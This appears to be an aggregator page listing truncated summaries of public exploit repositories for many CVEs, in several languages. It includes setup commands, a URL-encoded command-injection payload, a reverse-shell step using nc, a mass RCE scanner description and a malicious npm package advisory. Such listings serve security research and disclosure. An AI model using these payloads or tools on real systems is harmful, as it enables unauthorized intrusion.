CVE-2017-9805

Test nuclei CVE-2017-9805.yaml - struts2 showcase RCE 构建 Dockerfile docker build -t cve-2017-9805 . 启动并分离容器 docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash 登录到运行中的容器 docker exec -it cve-2017-9805 /bin/bash 启动 Tomcat $CATALINAHOME/bin/startup.sh...

Malicious code in vitest-cli-pro (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1262dc722ebac3b91301efde91e61df9ec9f65ccf91e51c15da53f9b518878b2 Package published as vitest-cli-pro ships a verbatim copy of nodemailer as cover; its declared postinstall runs lib/utils/index.js, which detaches a...

CVE-2018-11235

CVE-2018-11235 Para empezar Para construir los contenedores Docker, use: root@kitploit: make docker Los siguientes comandos make deben ejecutarse en paralelo en diferentes terminales desde su máquina Para iniciar el contenedor del servidor atacante, use: root@kitploit: make runserver para iniciar...

CVE-2026-33017

CVE-2025-62593 — Exploit RCE no autenticado en Ray Descripción general CVE-2025-62593 es una vulnerabilidad de ejecución remota de código no autenticada en el motor de computación distribuida de IA Ray. La causa raíz es la ausencia de autenticación en endpoints HTTP críticos /api/jobs,...

yaml-payload-2

yaml-payload Un payload de explotación de deserialización de SnakeYAML para CVE-2022-1471 , adaptado de artsploit/yaml-payload originalmente basado en mbechler/marshalsec. Qué hace Cuando se carga mediante el inseguro Yaml.load de SnakeYAML, este payload toma el control de la aplicación en...

CVE-2023-46974

CVE-2023-46974 POC Descripción Vulnerabilidad de Cross-Site Scripting en Best Courier Management System v.1.000 permite a un atacante remoto ejecutar código arbitrario a través de un payload manipulado en el parámetro page de la URL. Tipo de Vulnerabilidad Cross-Site Scripting XSS Proveedor del...

-CVE-2023-46450

-CVE-2023-46450 描述 Sourcecodester 免费开源库存管理系统 1.0 的添加供应商功能 存在跨站脚本（XSS）漏洞。 附加信息 免费开源库存管理系统的添加供应商功能中存在一个视频 POC 存储型 XSS 漏洞。 链接： https://youtu.be/LQy0xIK2q0 漏洞类型 跨站脚本（XSS） 产品供应商 开源 受影响产品代码库 free-and-open-source-inventory-management-system-php-source-code - 1.0000 受影响组件 添加供应商功能 攻击类型 远程 影响代码执行 是 攻击向量...

CVE-2023-0669-Analysis

CVE-2023-0669 Este repositorio contiene los paquetes y scripts utilizados en este análisis: https://www.vicarius.io/vsociety/blog/unauthenticated-rce-in-goanywhere La versión vulnerable de GoAnywhere para Linux https://www.dropbox.com/s/j31l8lgvapbopy3/ga703linuxx64.sh?dl=0...

CVE-2022-45701

CVE-2022-45701 Arris Router Firmware 9.1.103 - Ejecución Remota de Código RCE Autenticado POC Exploit...

CVE-2025-61882

Oracle E-Business Suite RCE 扫描器 CVE-2025-61882 一个快速、多线程的批量扫描器，用于检测 Oracle E-Business Suite 安装中的 CVE-2025-61882。该严重漏洞允许未经身份验证的远程代码执行。 🎯 功能特性 批量扫描 - 从文件中处理数百或数千个目标 多线程 - 可配置的并发扫描（默认：20 个线程） 自动检测 - 通过执行 id 命令并解析输出来验证 RCE 实时结果 - 易受攻击的目标会立即写入 vuln-output.txt 随机端口 - 为每个目标使用随机端口（2000-9999）以避免冲突 简洁输出...

CVE-2019-16113

CVE-2019-16113 This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability CVE-2019-16113 Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg or .png file name, and then this PHP code...

CVE-2024-30052

此仓库包含与 CVE-2024-30052 相关的材料。关于该漏洞的更多详细信息，请参阅我的博客文章。 结构 builder 文件夹包含用于构建可利用漏洞的转储文件的程序源码。 poc 文件夹包含三个概念验证文件，打开后会启动 calc.exe：chm、hta 和 py。 manifest 文件夹包含 VS 17.8.10 版本的清单文件，方便在本地测试时下载该特定版本。 运行 PoC 在 Visual Studio 2022 中打开 CVE-2024-30052-builder.sln 并编译。 运行 CVE-2024-30052-builder.exe...

CVE-2023-24871

CVE-2023-24871 Este repositorio contiene materiales relacionados con CVE-2023-24871, que cubrí en esta serie de publicaciones. Encontrará más información dentro de las carpetas específicas, ya que la vulnerabilidad permitía tanto RCE como LPE...

CVE-2017-11610

Supervisord远程命令执行漏洞脚本（CVE-2017-11610） 漏洞简介 Supervisor 是一个用 Python 写的进程管理工具，可以很方便的用来在 UNIX-like 系统（不支持 Windows）下启动、重启（自动重启程序）、关闭进程（不仅仅是 Python 进程） Supervisor 是一个 C/S 模型的程序，supervisord 是 server 端，supervisorctl 是 client 端，简单理解就是client输入supervisor的指令调用server端的API从而完成一些工作。...

CVE-2022-26134-cve1

CVE-2022-26134RCE Installation root@kitploit: git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs Using pocsuite3 Single URL: root@kitploit: pocsuite -r CVE-2022-26134RCE.py -u ur...

CVE-2023-45158

CVE-2023-45158 步骤 1. 运行 Web 服务器 root@kitploit: cd web2py python3 web2py.py 2. 使用以下 URL 注入你的命令 http://:8000/hack?msg=%27%3B%3B%27。将 和 替换为你的值。 示例 1. 在服务器上创建一个文件 http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. 反弹 shell 在攻击者的机器上，运行 nc -l 127.0.0.1 8080 访问 URL...

CVE-2020-15778

CVE-2020-15778 Introducción Este repositorio reproduce CVE-2020-15778. Pasos 1. Construye las imágenes docker para el servidor scp y el cliente root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. Levanta el servidor scp en un contenedor...

ICT287_CVE-2022-30190_Exploit

ICT287CVE-2022-30190Exploit Proyecto sobre la explotación y estrategias de mitigación de CVE-2022-30190 📌 Acerca de Este repositorio contiene mi proyecto final para ICT287, donde exploro la vulnerabilidad CVE-2022-30190 "Follina". El proyecto abarca: Análisis detallado del exploit Proceso de...

cve-2021-25646

Apache Druid 远程代码执行 漏洞概要 Apache Druid 官方发布安全更新，通报了一个远程代码执行漏洞，漏洞编号 CVE-2021-25646。由于 Apache Druid 默认情况下缺乏授权认证，攻击者可以发 送特制请求，利用 Druid 服务器上进程的特权执行任意代码。 Apache Druid 是用 Java 编写的面向列的开源分布式数据存储，旨在快速获 取大量事件数据，并在数据之上提供低延迟查询。Druid 旨在快速提取大量事件 数据，并在数据之上提供低延迟查询。Druid 通常用于商业智能/ OLAP 应用程序 中，以分析大量的实时和历史数据。 脚本使用...

POC-CVE-2026-23520

CVE-2026-23520 — Arcane 生命周期标签 RCE Arcane Docker 管理中的操作系统命令注入（ 1.13.0） 概述 Arcane 是一个基于 Web 的现代 Docker 管理平台。1.13.0 之前的版本存在一个已认证的远程代码执行（RCE）漏洞，该漏洞源于更新服务生命周期标签中的操作系统命令注入。 更新服务支持两个 Docker 容器标签： 标签| 触发时机 ---|--- com.getarcaneapp.arcane.lifecycle.pre-update| 容器更新前...